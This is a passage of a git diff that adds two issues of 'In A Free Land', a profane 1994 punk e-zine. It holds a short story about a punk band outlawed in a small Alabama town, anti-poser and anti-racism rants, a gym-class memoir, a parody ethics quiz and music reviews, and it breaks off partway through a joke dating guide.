Jaguar. With a cheap + $20 amp that kept going out until he replaced a fuse, he annoyed + his parents and siblings with his practices. "Noise," declared + Uncle Tim, darkly. "Noise, endless noise." + + If the noise from Tony alone drove Uncle Tim up the wall, his next + step must have nearly driven them insane. Tony formed a band, + with two of his friends, who played their first gig outside Uncle + Tim's barn. + + General alarm and consternation was our reaction. + + One killer hot day in August, Tony, Billy Barris, and Tommy Joe + Davis plunked down a drum set, two amps, and a microphone stand + outside the rundown old barn. It took awhile to set up (they had + to get extension cords - Billy had been in charge of getting them, + and Billy wasn't precisely the brightest light on the Christmas + tree), but around noon, they began to play, and Parnellville + changed forever. + + Punk rock had come to Parnellville. + + The next day, in the Parnellville Cafe, Buford T. Jefferson said, + "I asked the Barris boy what they were doing - he said, 'We're + jamming econo!'" We heard this and shivered at the use of this + sinister-sounding phrase. + + This punk thing had to be stopped, everyone said. This was a + small Alabama town, and punk rock was not meant to invade God's + country, everyone said. Yet there was, as there always is, a + faction that disagreed with this thinking. Tony's group (called + the Fairy Godfathers) had gained popularity with the teens in + Parnellville. Sally Williams had a kid a while after the + Godfathers' first appearance at Parnellville High School, and + named the child Tony. The significance was obvious; the child had + been conceived at that legendary first PHS show. Tony (my cousin) + had been asked to be the child's godfather, and he readily + accepted. + + The town's ultimate authority caught wind of all this, about a + year after it had started, and he left his office for the first + time since the previous election. This authority was Rufus J. + Parnell III, town Mayor and direct descendant of Rufus J. Parnell + I, who founded Parnellville a century before. His official + statement was "No more punk rock." His off-the-record statement + was "Get that shit out of my town!" according to Mary Lou Bagley, + who was Parnell's secretary. + + As a result of this statement, punk rock and any references to it + were outlawed in Parnellville. Anyone mentioning the Fairy + Godfathers were to be arrested, and the Godfathers themselves were + barred from playing any more shows. Tony's past anonymity was + gone forever, and there were days that Tony wished he'd never left + the cover of his invisibility. + + Yet after three months of being outlawed, Tony, Billy, and Tommy + Joe remembered the core of the punk rock ethic, that being + rebellion, and began to play shows again -- underground. Quite + literally underground; most of the shows were in friend's + basements, while their parents were gone. + + The Godfathers' fans devised a new way to express their devotion + to their band of choice: the fan would cough sharply, three times + in a row, when they felt like letting the world know that the + Fairy Godfathers were still alive and well in the Hooper family + basement. + + Soon, however, the Godfathers' resentment of Parnell's decree went + outside of the boundaries of the literal underground. Tony's band + made their last stand outside Uncle Tim's barn, in an ironic + reference to their first show; Tony and the rest of the teenage + populace of Parnellville pretty much knew that this would be their + last show. + + Of course, the police department and town hall caught wind of the + show about 10 minutes after it started, and Mayor Parnell rode + down to Uncle Tim and Aunt Vicky's house in Patrolman Buck's car. + Once there, the Godfathers' renowned "wall of sound" nearly + deafened both the Mayor and the patrolman, as well as the other + police officers that had accompanied the Mayor on his mission. + Somehow, though, the Mayor and his blue-clad entourage made their + way up to the stage, where two patrolmen unplugged the six-bar + from the extension cord, leaving only Billy bashing away at the + drums until he realized he could no longer hear Tommy Joe's + thudding bass lines or Tony's relentless guitar and vocal + screeching. + + Once Billy stopped, the Mayor spoke up. "By the power vested in + me by the last election, I'm placing you under arrest for + violating the Anti-Punk Law of Parnellville. Buck, take them + away." As the cuffs went on, first on Tony, and then on the other + two Godfathers, the crowd dispersed, with occasional screams of + "Fascist pigs!" and "We're behind you all the way, Tony!" + + The Godfathers' equipment was confiscated by Parnellville police, + and each member spent 60 days in the town jail, located within the + scenic police HQ. Once released, the trio left for another town, + to buy newer, better equipment, and were never heard from again, + in Parnellville at least. + + One day, however, young Tony Williams, who kept his mother's last + name, claimed that the previous night, he had heard a station come + in from Birmingham, playing a punk song, which had a very familiar + "wall of sound" effect to it, as well as a very familiar screaming + voice hollering the lyrics. He didn't catch their name, but he's + sure that somewhere, somehow, the Fairy Godfathers still exist. + + As for me? Some days, I get to remembering. And when the + nostalgia strikes me, all I have to do is cough sharply, three + times in a row, and it's like I'm living back in those days, + when Tony was larger than life, and I was Sally Williams' + boyfriend. Other days, I don't need to get nostalgic; I look at + my son, the son Sally and I conceived while Billy Barris bashed + his drums, Tommy Joe plodded along on bass, and my cousin Tony, my + best friend, made himself unforgettable at Parnellville High. I + look at my son, and I remember. + + + Copyright (C) by Matt Shaw + +------------------------------------------------------------- +1.09 A Short List Of Things That Are Wrong With The World +------------------------------------------------------------- + + Everything but a few things. + Almost everything. + Not quite everything. + Wayne Newton. + Paul Westerberg. + Nirvana. + Articles that nearly duplicate the Slam List just for a cheap + joke. + +------------------------------------- +1.10 The Wit and Wisdom of My Cat +------------------------------------- + + I find that, looking back, my cat has always been one of the + greatest philosophers of our time. I remember sitting one day in my + kitchen, staring dejectedly at a picture of an ex-girlfriend, when + Arch would come up to me, rub against my leg, and purr loudly. + When I looked down to see what he wanted, he would look up at me + and say, simply: + + "Meow." + + And I would be consoled, for Arch was well-used to loss, himself. + Arch lost his mother when he was 7. Although for a cat, this is + advanced age, he was still despondent. (His mother, Kit, was + about 9 or 10, so it was kind of natural, I suppose.) Even in the + depths of his own mire of depression, Arch would still influence + my life's decisions. When I was choosing what college to go to, I + had narrowed it down to two choices, and I asked Arch what he + thought, and he replied: + + "Meow." + + Arch's response immediately illuminated some darkened corridor in + my mind, and I made my decision, knowing that the beneficial + wisdom of my cat, Arch, had guided me to make the right choice. I + would later credit all my scholarly success to Arch's guidance, + and would regret that he didn't get more recognition as a result + of my support. + + Another situation in which Arch proved to be helpful was when I + fell on my ass one day, trying to run across a freshly waxed floor + wearing socks, rather than shoes. As I attempted to regain my + previous position of being upright, Arch's wit reached my ears + from the opposite end of the room: + + "Meow." + + After Arch gave me his opinion, he turned and walked away, + possibly in search of some Kit and Kaboodle. I felt that I was a + better human being for hearing Arch's say on the subject, and I + felt less foolish and resolved to never run across a freshly waxed + floor again, unless I was wearing cleats. + + Daily I give thanks to whatever powers may govern our affairs, for + giving me this furry philosopher whose knowledge and experience + offers such a wide range of things to learn. So, I will take my + leave, leaving behind some of Arch's wisdom for you. I'm not as + good as he is at being a philosopher, but I hope that you'll at + least get my point: + + "Meow." + + +-------------------------------------- +1.11 Waiting For The Phone To Ring +-------------------------------------- + + Some nights I sit, entranced by the words and phrases, and + eventually, sentences and paragraphs that form upon my screen, and + realize it's all just a diversion to keep me from waiting for the + phone to ring. Then, I stop, and simply wait for the phone to + ring, thinking, "Hey, this could be Net, this could be one of the + Kids in the Hall, or maybe it's God Himself." + + But then I wonder, why would God call me? I mean, He can just + connect with me telepathically, or something, right? And Net's + not even here, anymore. And the Kids in the Hall? They're in + Canada. Why would they call here? Eh? + + Oh, I don't know. But one day, the phone may ring. Just maybe. + And maybe it'll be one of those people. Just maybe. + + (I know this article made no sense. Nod your head and smile, and + go onward..) + + +-------------------- +1.12 The Library +-------------------- + + Too many teenagers today, driven insane by the lack of any place + to go to hang out, end up going on shooting sprees and destroying + half of their town. I think there's something we can all do about + this: extend the library's hours to about midnight, and invite all + the kids in from the city and surrounding towns. Think about it: + the library becomes the city's cool new hangout, boosting reading + levels citywide. + + But, then, the other downtown buildings will want to compete. The + banks will start offering their waiting areas to the kids; that + barber shop on the corner will be chock full of teenagers making + fun of their friends, who are getting their hair cut; the music + stores will let everyone come in and have a big ol' jam; and the + bookstores will start selling more import porn, and put down + chairs all over the store for everyone to sit in. + + Then the competition would extend outside of the downtown area, + and the places the teens once frequented will be deserted. + Noticing their flagging business, they will start a huge + advertising campaign to get the kids back in, which would probably + succeed. Then it would be downtown v. Wendy's until the end of + our society. + + Just think, man. We could start a revolution and no one would + care.. too busy running from the library to McDonald's and back. + But what would we revolt about? I say that we revolt to build a + new KFC. But that's just my opinion. + +------------------------------- +1.13 Milo Aukerman's Corner +------------------------------- + + Dear IN A FREE LAND Readers, + + Nice name change, Matt, you asshole. [Thanks. - ed.] + + Living in Backwoods, IN, this week, staying at Miss Ellie's + Boarding House. Thanks to Miss Ellie for making me feel at home. + Next week, I'm leaving for Asia. Not the band, the continent. + + Backwoods isn't too bad of a place, if you ignore that bullshit + about the guy that drank all those beers in one sitting. He's + like a legend around here, or something, but he just looks drunk + to me. Some of the racier stories say that he pisses like a + racehorse. Hell, if I'd had fifty-something beers in one sitting, + I'd be pissing until the Judgment Day, so I can't blame him. + + Bought ALL's _Breaking Things_, and got slightly pissed off at + Bill and everybody all over again for getting a new vocalist. + But I can't complain.. I sing backing vocals on a song or two. I + still think they should have kept Scott Reynolds [No kidding. - + ed.]. + + There's no DQ out here, so I had to miss seeing any more action + like what I did in Westfield. + + Actually, it's fucking boring in Backwoods. How the hell can + these people stand to live here? I'll have a more exciting letter + next issue, guaranteed. + + Later! + Milo + +----------------------------------------- +1.14 Why You Should Never Join a Cult +----------------------------------------- + + 1. Chanting non-stop will give you a sore throat. + 2. Those damn dues that they make you pay (Swaggart/Tipton cults + only). + 3. It's no picnic (for you, at least) getting out if you get bored. + 4. Unexplained loss of pets will break the kids' hearts. + 5. Unexplained loss of kids will break your spouse's heart. + 6. They force you to make lists like these. [Thanks, Jeff. - ed.] + +------------- +1.15 Why? +------------- + + Every issue has it's "Why?" section. Every issue will. This + issue's question is: + + Q: Why do people think grunge is punk? + + A: (Matt Shaw) Grunge has some of the attitude of hardcore/punk, + but is more commercialized. When's the last time you saw Jello + Biafra advocating major labels? Artist-owned is the way to go. + Before anyone can shove Sub-Pop down my throat, most grunge + acts have gone to major labels, leaving Sub-Pop a well-known + independent with nearly the level of popularity as SST/Cruz, + supporting more and more non-grunge acts. + The major problem with grunge is that it's treated more like + fashion than like music. Top 40 stations are playing grunge; + in fact, the first time I heard Nirvana was when I was being + forced to listen to a local Top 40 station. Top 40 stations + would be offended by and scared of real HC/punk. I like Pearl + Jam's music, but I'm not a voracious fan, and it's kind of a + pity that all these high school kids who play football and + don't know what the fuck alienation is like pick up a Pearl Jam + album, listen to the songs, and actually think they can relate + to Eddie Vedder's lyrics. All I'm saying is leave the music of + punk/hardcore/alternative where it should be: off MTV and Top + 40 stations. Give alt rock back to the real alternative; give + it back to the underground. + +------------------------------------------- +1.16 Piss Off/Well, G'Night, Everybody! +------------------------------------------- + + We've reached the end of our sojourn into Backwoods underground + culture. Go and spread the word of our gospel; tell all you meet + on the Net about reading (and living) IN A FREE LAND. + + This one's been a blast! + + - Matt + + +------------------------------------------------------------------------------- + + "Dope smokin' moron.. don't make me yawn." + - The Replacements, 1982 + +------------------------------------------------------------------------------- + + diff --git a/textfiles.com/magazines/MISC/iafl-002.txt b/textfiles.com/magazines/MISC/iafl-002.txt new file mode 100644 index 00000000..8967b166 --- /dev/null +++ b/textfiles.com/magazines/MISC/iafl-002.txt @@ -0,0 +1,905 @@ +------------------------------------------------------------------------------- + IN A FREE LAND #2 + 01/25/94 + An Experiment in Free Speech Gone Horribly Right +------------------------------------------------------------------------------- +Distribution: + + This E-zine and all information within is copyright (c) 1994 + Rageboy Publications, unless otherwise stated. Feel free to + quote portions, but please give credit where credit is due. + We ask that you do not alter this file in any way, mainly + because we like it the way we wrote it. + + This E-zine can be found as IAFL.00x (x being the issue number). + If this file arrives at your domain by any other name, someone + fucked with that file bigtime. + + + *** IMPORTANT DISCLAIMER! *** + +------------------------------------------------------------------------------- + + The editors of and contributors to IN A FREE LAND will NOT be held + responsible for any misuse of the information within any issue of this + E-zine. All articles are intended for an INFORMATIONAL or HUMOROUS + purpose solely. + +------------------------------------------------------------------------------- + + Staff of I.A.F.L.: + + Matt Shaw - chief editor/contributor + Netrunner - asst. editor/contributor + Jeff Hell - contributor + Q-Man - contributor + Sonic Bellboy - contributor + + Means of Contact: + + Matt Shaw + + Sending constructive mail (critiques, praise, differences of opinion) to + this address will get you in contact with Matt Shaw. Any letters to the + editor are also accepted (state such in the subject). NO FLAMES; any + flames will be ignored. + +----------------- +Table of Contents +----------------- + +2.01 .......... Welcome to Our Show/Editorial/Oops! (MS) +2.02 .......... The Mystery of Barney Rubble (MS) +2.03 .......... doc martens, the mafia, and paul westerberg (SB) +2.04 .......... "Race Traitor" (MS) +2.05 .......... racism is pointless. (SB) +2.06 .......... True Stories of High School Hell #1 (MS) +2.07 .......... Ethics Quiz (JH) +2.08 .......... White Punks On Punk (Reviews) (edited by MS) +2.09 .......... Music Quiz For The Mentally Departed (SB) +2.10 .......... Dating In The 90's (MS) +2.11 .......... Mini-Slam List (everyone) +2.12 .......... damn junies (SB) +2.13 .......... Why? (MS) +2.14 .......... An Apology (MS) +2.15 .......... The Sonic Bellboy's canadian connexun (SB) +2.16 .......... Well, G'Night, Everybody! (MS) + +-------------------------------------------- +2.01 Welcome To Our Show/Editorial/Oops! +-------------------------------------------- + + Welcome back, my friends, to the 'zine that never ends. I'm your + editor for this (and probably EVERY) issue, Matt Shaw, and I'd + like to take this opportunity to fill you in on a new + development: + + We've a new contributor! IAFL recently welcomed the Sonic Bellboy to + our staff. The Sonic One's contributions to our representation of + hardcore/punk/non-conformism (i.e., people who just say "fuck you") + begin this issue. + + Anyway.. before I get to the part where I express my opinion on a + chosen topic.. there was a version of IAFL #1 released in which + the articles were listed as being "3.01" and such.. that has been + corrected. + + The New Year.. 1994. So far, no different than any other year. + I lived through New Year's Eve, no problem. I didn't go out. Why + the fuck should I go out, when the only parties I knew of were + thrown by a couple of fucking Esprit/Gap asylum escapees? Okay, + so one was cute. But there was no alcohol there. No chance to + get her inhibitions lowered, and -- never mind. Accidentally + showed my carnal side, which is unusual, these days. + + There's one thing that I hope, I pray, and will die to change this + year: All these flannel-shirted motherfuckers who only started + wearing flannel when Nirvana hit the Top 40.. STOP MAKING TRUE + COUNTERCULTURE LOOK BAD. (I hope that none of those people I + address are reading this publication. Sorry for screaming, for + those who aren't.) True punk or hardcore isn't a defined way of + dressing; it's whatever you want. Whatever's comfortable. Who + gives a shit what the girls who work at the Slurpee stand or The + Gap in the mall think of how you dress? If you've got the + attitude that is the aura of the truly dedicated punk, you won't. + If you're just trying to cash in on a look that's been popularized + and had all meaning stripped from it by some fashion consultant + out in fucking Paris or wherever, you're not worth the eighty + dollars you shelled out for that flannel shirt. It's like + pre-ripped jeans in the '80s: you have that much money to pay + someone else to rip your jeans, what the fuck are you doing being + "fashionable"? Why the fuck weren't people like that at + cotillions, or whatever the hell those things are? If you have + $80 to spend on a brand-name flannel shirt from some cool store in + the local jock/princess haven (aka "mall"), why even pretend + you're counterculture? Go to a Young Republicans meeting; sweat + Polo; do something expected of those of your financial level. + + The Sonic Bellboy had an anecdote that inspired this rant, and I + think he summed it up better than I did with this multi-page + thing. Check it out: + + i saw a guy, snowboarding, with a flannel-from-stitches and + oversized-jeans-bellbottoms with a georgetown hoyas hat at the ski place + i was at. i asked him if he thought he was counterculture. he said yes. + i asked him why. he said because he listens to alternative (he named + nirvana, pearl jam and some other poser band) and that he dresses + "different", i pointed out his jock hat. "it looks cool." there's the + word that has stunted this generation. "cool." is that a "cool" thing to + be? well, this guy was a perfect stereotype, and he was the first of (i + counted) _39_ similarily dressed kemper-blorgers wearing flannel and + likely freezing in those thin cheap jeans. well, i was warm in my black + ugly nylon pants. i was warm in my hydro linesman jacket. i was + protected with my 5oo glasses and my free giveaway touque. i was happy + with my mennonite craft sale 50 cent mittens. i was warm. + i was functional. and i was not "cool." + + In closing, I'd like to say to everyone else what I said to SB: + Acting "cool" is difficult. Being _cool_ is easy, if you're not a + fake, like the people I spent most of this editorial being pissed + off at, and like that one guy and his 39 clones that SB saw. + "Alternative" = "cool". Hardcore/punk/underground = _cool_. 'Nuff + said. + + Enjoy the mag. + + - Matt + +------------------------------------- +2.02 The Mystery Of Barney Rubble +------------------------------------- + + While rotting my brain watching cartoons one day, I noticed + something about the "Fruity Pebbles"/"Cocoa Pebbles" commercials. + Fred Flintstone's life's goal in these things appears to be keeping + Barney Rubble away from those Pebbles. + + My question: Why the fuck can't Barney go to the store and buy some + goddamn pebbles himself? + + The Pebbles aren't manufactured by Fred (would someone as non-artistic + as Fred be able to design those cool boxes?), so they conceivably must + be sold at a store. + + Barney _has_ a job (evidenced by his riding to work with Fred in the + original cartoon), so he's not too much of a lazy-ass. Obviously + not.. the fool designs all these new cool ways to try and convince + Fred to give him the Pebbles. Probably spends more money on these + fucking ideas than it would cost for a lousy fucking box of cereal. + + My point is that it's pretty goddamn stupid for Barney Rubble not to + make it easier on all involved, and just go shell out a couple of + fucking dollars for some Pebbles. Do I make sense on this one? + +---------------------------------------------------- +2.03 doc martens, the mafia, and paul westerberg +---------------------------------------------------- + + have you seen the good old docs these days? they are TRASH... a + pair used to last a good 3 years without falling apart, but + these - give it two months of average wear, and they fall apart. + and look at the gaudy colors - Cheri Red, Paul Westerberg Green, + Blueberry Blue, Puke Yellow, FlannelFuck Plaid, Uma Thurman Pink, + the list goes on...and on...and on... + + What happened to Black 3 holes? did the mafia buy up all of the + black shoes? now there are sandals! and high heels! and ones with + patterns! and custom band-logo ones... + + I say all of us revolt, burn (if you have them) your docs. let's + all buy-(shuffle in the hat) BIRKENSTOCKS! (I AM just KIDDING!) + WHATEVER YOU WANT TO WEAR! no more uniformity. the nice thing about + punk culture is that there is no "punk look" i.e. we don't all make + our hair look permawet like the Jockfucks, we don't wear Flannel + and Wool Socks. + + Here's a scary thing- the JOCK'S idea of a punk: + Leather jacket with chains + Safety pin through the cheek + Doc Marten shoes + Lots of pierced locations + Colored mohawk hair + etc. + + know anyone like that? + + Or my little sister's idea: + (remember GEM?) + Female lead singer who screams like a banshee + Red or multi-colored hair, cut randomly. + leather jacket with a big fluorescent skirt + big belt + a lot of makeup + a "keyboard guitar" + + Sound familiar? + + The Sonic Bellboy + +----------------------- +2.04 "Race Traitor" +----------------------- + + I discovered, long ago, that talking to racist "skinheads" (notice + the quotes; these fools just rip off true skinhead lifestyles) is an + exercise in fruitlessness. That knowledge was forever cemented in my + mind when the following discussion took place between myself and a + racist "skin": + + Racist : Do you support the white race? + + Me : What does that entail, exactly? + + Racist : You must hate all non-whites, like blacks, Orientals, Jews.. + + Me : Wait just a fucking second.. Jews?! MOST Jews are WHITE! + + Racist : No, they're olive-skinned. + + Me : Look, whatever. I refuse to hate an entire race, just for + the fact that they're different from me. Besides, + generalization is stupid. + + Racist : You don't hate non-whites? + + Me : Fuck, no. Look, what the fuck are you, deaf? + + Racist : Then you're a race traitor. + + So. I am now a race traitor, according to someone who shaved his head + in an attempt to be "cool." Because his fellow "Aryan soldiers" did + it. Non-conformism at its peak of NON-EXISTENCE. Free thought is not + a concept for the majority of these people. + + Matt Shaw, the race traitor. + + I argue that I am NOT a race traitor. I don't support racist + philosophies, so I guess I don't support the neo-Nazi concept of the + "white race." They're the race traitors, just like Hitler before + them; they have betrayed the race that they have forfeited their right + to be a part of. + + The human race. + +----------------------------- +2.05 racism is pointless. +----------------------------- + + helloooooo, people. look at yourself. are you politically correct? + are you anti-racist? political correctness has stunted the most + important movement of this century. we, the WAM, are a _minority_ + in a global perspective. WAPM (white american punk males) are a + minority, so i guess most of you understand the basic minority + feeling. but unfortunately, when anything is politically correct, + people overreact. look at the enviromental movement. it's overdone. + it should have been left to the small, dedicated groups (another + minority, minorities are based on _beliefs_ not _color_) but look + at the system now. _minorities_ and _women_ are being given job + preference over an equally qualified male. that is trash. so is the + new "tolerance" policy. i am not a racist. i do not try to be nice + to a person just because they are black. or anything else. i am + friends with people on one and one only basis: how much like me they + are, _inside_. my best friend (although she lives a long ways away) + is chinese. my background is mixed. most of my friends are diverse. + i have indian friends of both varieties. i have swedish friends. i + have german friends, and i have canadian friends. you see, when a + chinese person has lived in canada/us all of his life, as well as + many of his previous generations, he is still called chinese. and + people give him a racial quality. chinese, therefore from china, + therefore no speako english, therefore after my job and my girlfriend. + sorry folks, _you_ are just as or less american/canadian then they + are. you are both _immigrants_ you are both _residents_ and you are + both _racially indifferent_, as in my eyes, we have Homosapien and + we have homosapien. + +-------------------------------------------- +2.06 True Stories of High School Hell #1 +-------------------------------------------- + + Ah.. memories of high school. From freshman year to senior year, + I was caught up in both the miasma of passage through adolescence, + and the process of education. And I know exactly how to sum those + years up. + + IT WAS HELL! IT WAS LIVING, FUCKING, SEEMINGLY ETERNAL HELL! + + But now, I can look back, and laugh. Laugh because I'm not there + anymore, and because I'm doing what I want to do while the rest of + those pitiful fuckers are toiling away at Hardee's and + bullshitting profs who just re-teach them all the grammar classes + we took in high school. But I digress. Beginning with this + issue, I'm going to regale our faithful readers with tales of my + days of suffering. This is one I call "The Whistle of The Demon". + + + --- + + In my sophomore year, I was faced with the grim fact that I was + short a couple of credits, and I got called into the + principal/administrator's office. I wasn't in trouble, or + anything, it turns out; he simply told me I hadn't taken one + class that I should have. + + I closed my eyes, hoping he wouldn't say what he inevitably would. + As he uttered the words "Physical education," I cringed inwardly, + and my mind was filled with the possible torments I could be put + through by the more athletic students. These days, of course, I + would just beat the holy shit out of anyone trying such a thing, + but that's beside the point. + + The usual phys. ed. teacher had taken two years off to go live in + Pennsylvania, and the school alternated replacements. Sometimes + the math/algebra/etc. teacher would be in charge of the class, and + let the kids play basketball (hey, it IS Indiana) or dodgeball, or + something. The original teacher was kind of cool; he wasn't the + kind of asshole gym teacher you usually find, like the ones that + think they're the Terminator, and just come off like a bad + impression of Schwarznegger. He was, and still is, a rather nice + guy. I had hoped that we would get a replacement somewhat like + him for our class. + + No such luck. We get a guy straight from the Purdue training + camps. Physically resembled a bulldog, both in face, and in + voice. Similar temperament, as well. + + The first class, there we are. Decked out in sweats and T-shirts, + etc. He comes out of the supply room, and looks at us like a + sergeant looking over his troops. I'm already thinking, "Oh, + shit. What have we done?" The first words out of his mouth were, + "I'm Mr. H.," (real name withheld, although I should have no + mercy) "I am your instructor in physical education for the next + few weeks." Sounded just like a drill instructor.. uh-oh. + + The next few weeks were sheer hell. We did incremental amounts of + pushups every day. He forced us to play football, but play with a + ferocity that would have astounded a Viking. When he was teaching + us some basic basketball maneuvers, he told us to dive for the + ball, saying he wanted to see our blood on the floor. He broke us + down and tried to rebuild us. He singled out the weak and made an + example of them. It was like the first part of "Full Metal + Jacket", only we could go home and complain to each other every + day. + + For my part, I was so broken down, I did everything he said. I + kept myself in the shadows; he knew me by name only. When he told + us to dive for the basketball and get some blood on the floor, I + goddamn wanted to see my blood on the floor, I was that broken + down. I began to be scared of how seriously intent I was on being + a good soldier. We began to call him "Coach". To this day, I + would rather call him "Dead And In Hell" than "Coach". As for + that, I can only hope. + + Soon, though, hell's omnipresent flames receded from roasting our + backs. In other words, the motherfucker left. His last day, he + shook our hands and talked to us like we were his equal. Although + then I didn't have half the sheer balls I have now, I had the guts + to glare at him and remain silent when he said goodbye to me. + + The next week, the math teacher took over the class, and let me + tell you.. he was a welcome sight compared to the fucking maniac + we had called "Coach". + + --- + + Okay.. that's all for this one. I have a million of these, I'll + keep 'em coming. + + [Sonic wanted me to mention at the end of this article that he's + still in hell. Please send your sympathies his way. - ed.] + +-------------------- +2.06 Ethics Quiz +-------------------- + + I'm sure you've seen those stupid ethics quizzes, like the ones + that ask, "Susie steals a rubber band from the supply closet. Is + this ethical, unethical, or a crime?" We at IAFL make fun of + things that piss us off, so here goes: + + 1. The Trix rabbit constantly attempts to deceive children in + order to get some Trix. Is this: + + a) ethical; + b) unethical; or + c) a clever marketing gambit? + + 2. Tom the cat always chases Jerry the mouse, for no apparent + reason except pure meanness. Is this: + + a) ethical; + b) unethical; or + c) monotonous to all but toddlers? + + 3. Lucky the leprechaun is beset by pre-adolescents always trying + to steal his cereal. The children knock down other children's + snowmen ruthlessly to get these teeth-rotting bits of sugar and + the occasional fortifying mineral. Is this: + + a) ethical; + b) unethical; or + c) setting a really really bad example for the kids watching? + + 4. In yet another example of the consumption of cereal being a + crime, the Cookie Crook wants to have some Cookie Crisps, but + the Cop will not let him have any. So the Cookie Crook steals + some Crisps. Is this: + + a) ethical; + b) unethical; or + c) showing a pattern in kid's cereal advertising? + + Okay.. enough kid's commercial questions. + + 5. Danny Tanner, father of the "Full House" clan, is being pursued + by rabid hellhounds as he rides an old two-speed bike in a + frantic attempt to escape. The hellhounds finally catch up to + him, ripping him to pieces. A space-time warp opens up and + throws the Olsen twins (Michelle) and Uncle Jesse in for good + measure. Meanwhile, Matt Shaw makes his move on Rebecca, + Jesse's wi -- er, widow. She becomes his sex slave for as + long as he deems her necessary. Is this: + + a) ethical; + b) unethical; or + c) too good to be true (in the hellhound case) and not a chance + (in the Matt/Rebecca carnal union)? + + Usual ethics quizzes have no "right" answer. This one did. If + you answered "c" to any of these questions, you think on the same + wavelength as we at IAFL do. We are superior, and must band + together to execute those who answered otherwise. Long live the + fighters! + + [Uh.. yeah. Actually, I wouldn't mind a "carnal union" with + "Rebecca". But that's showing my carnal side again. BTW, Jeff, + thanks for that vote of confidence. Fuck you very very much. + - ed.] + +-------------------------------------- +2.08 White Punks on Punk (Reviews) +-------------------------------------- + + SOUND: + + _Human Butt_ - Rollins (MS) + ---------------------- + + Henry Rollins, ex-lead singer of America's seminal hardcore band + Black Flag and current frontman/vocalist for his own Rollins Band, + is equally well-known for his spoken word discs as his musical + exploits. _Human Butt_, a 2-CD set of spoken-word Rollins, + manages to be funny for the most part, yet tinged with Rollins' + own philosophy and that of the characters that populate his + true-life stories. + Consider his 52-minute "Adventures of an Asshole", in which + Rollins tries not to be an asshole for the duration of an + Australian tour with the Rollins Band. Or "Smokin' The Filter", + where he recounts the tale of his first date and his subsequent + letdown. Or (my personal favorite) "Donate Your Bodies To + Science, You Fools!", in which a homeless man called Crazy Paul is + made into a legend by a still-awed Rollins. + After hearing this album, you'll crave more of Rollins' + acerbic wit and wisdom; I know I did. A definite must, in any + home. + + - Quarterstick Records + + _Telephone Free Landslide Victory_ - Camper Van Beethoven (MS) + --------------------------------------------------------- + + Ska. Probably not in the form it was meant to be played by all + those Brits, but ska nonetheless. And GREAT ska it is.. a + half-speed, kind of folk/ska-tinged cover of Black Flag's + "Wasted", a few subcultural jokes with "Where the Hell Is Bill?", + and the classic "Take The Skinheads Bowling". With the loopy + "Opi Rides Again/Club Med Sucks" and "Ambiguity Song" closing the + album, Camper Van put out one of the strongest, and most confusing + debuts of the 1980's. + + - IRS, orig. Pitch-a-Tent + + + War Wagon - _Finnigan's Tongue_ (SB) + ------------------------------- + + okay, well, its my cousin's band, SO WHAT... + + 1992, Independant, PUNK/FOLK/CELTIC + + okay, ever heard of a cheesy irish band called the proclaimers (well + ah would drink five hundred boll's and i would drink 500 more just + to be the man who dran 1000 boll's to get so roarin' drunk + (doodaloodoo...etc.))? well, think of them, with excellent clean + guitar, harmonica and other mixed in. well, its definitely not pop. + this is a great tape to listen to to escape from the monotony of + everlasting grunge and soundalike punk (even i get tired of it at + times) the guitar is played with laid back chording, with a nice + clean tube amp sound. the bass is subtly added to provide backing to + the guitar, not to blow out your speakers. there are many instruments + dropped out of the music scene incorporated... the harmonica and the + lead tambourine (a large tambourine that you can hear over the guitar) + as well as good, fly-by-you lyrics, like "Watching the rain, falling, + washing all my troubles, down the drain" and not a single word of bad + language in all of the 45 minutes of music. + + + Grapes of Wrath - _These Days_ (SB) + ------------------------------ + + Okay, its old, so what? + + well, this is not punk, but it has a really nice feel, like the war + wagon, only bigger, with better equipment and less celtic-folk + influence. it isn't really pop, but it isn't really anything. just + cool to listen to when you are trying to concentrate. + + The Butthole Surfers - _Hairway to Steven_ (SB) + ------------------------------------------ + + okay, well, what can i say? + + okay, this is one of the early BHS tapes, the one with the cheesy + faces on the front. this is the one with no song names, just pictures. + it's great. i love it. my parents hate it. it just pounds out so + loud... that bass drum... that bass drum... ahhh.... i could just die. + i patch it thru my bass amp and knock down small skyscrapers... and + the lyrics make sense... and you can hear all of the instruments.... + + + Sorry. There will be NO Metallica reviews this issue, or ANY + issue. If that was what you came looking for, no such luck. + + SIGHT: + + 20/20 (heh, heh.. I kill me) + + Seriously.. I haven't seen any movies lately. Too busy keeping + myself literate (i.e., reading books). What a concept. + +--------------------------------------------- +2.09 Music Quiz For The Mentally Departed +--------------------------------------------- + + What music do you like? + a) what is music? + b) the stuff in the elevators + c) shopping mall muzak + d) classical all the way, man + e) pop is defini cool... + f) i wear leather and smoke and hang out at the coffee shop and like + classic rock like steve earle and that stuff. good ole greasy + classic wrock + g) none of the above, where is grunge? * + sorry. grunge is not allowed in this questionnaire as it is not + music and fits in with disco and polka, as in "not really music" + h) Other + + * Heavy metal, Rap and "alternative" fit in this section. + + if you selected "other" before even looking at the other choices you + are: + (i) a poseur. if so, go back and select 'g' + (ii) a person who likes cheating on surveys. select 'g' + (iii) a non conformist. good, different is bad, therefore different + is different (i could go into more on this but... no...) + (iv) some loser trying to be cool + + okay, question number two.. + + What is a good concert: + a) Auditorium, no seats, festival + b) moshpit-style + c) amphitheatre-seated + d) opera/orchestratic hall + e) club + f) outdoors, woodstock style + g) outdoors, lollapalooza (ick) style + + okay, number three of three.. + + Is it alright for performers to give organic refuse to the crowd? + a) yes + b) no + c) what the hell is organic refuse? + + okay, write the answers (question plus full choice) on a standard + size postage stamp (the back, stupid) in a close approximation of a + courier font, and mail it (INSIDE the envelope) to: + I Play Alone in the Dark, + C/O Willen B Whacken, + PO Box 9210, Grande Spoute, + Michigan, USA, + 68010 + and i will mail you an official sonic bellboy acid blotter look + alike, not my fault if it has problems with customs and you get + charged. + +--------------------------- +2.10 Dating in the 90's +--------------------------- + + Being single in the 90's kind of sucks, to be honest. Too many + nasty diseases floating around. Here's our guide to dating in + the 90's, punk-rock, throwback to 1981 style: + + +-----------------------------------------------------------+ + | The IN A FREE LAND Guide to Dating in the 90's | + | Heterosexual Males Edition | + | (in fact the ONLY edition) | + | by the editors/contributors of IAFL | + +-----------------------------------------------------------+ + + Dating. Argh. One of the topics that none of us know like we + know that there's no HC scene in our local area, but we're experts + on it anyway. Trust us. + + The most important thing to remember is this, and I quote Henry + Rollins: "Women are evil. Guys are morons." There are + exceptions, I just haven't met a woman who isn't evil, deep down, + and there's not a guy I know, not even me, who isn't a fucking + NITWIT when it comes down to 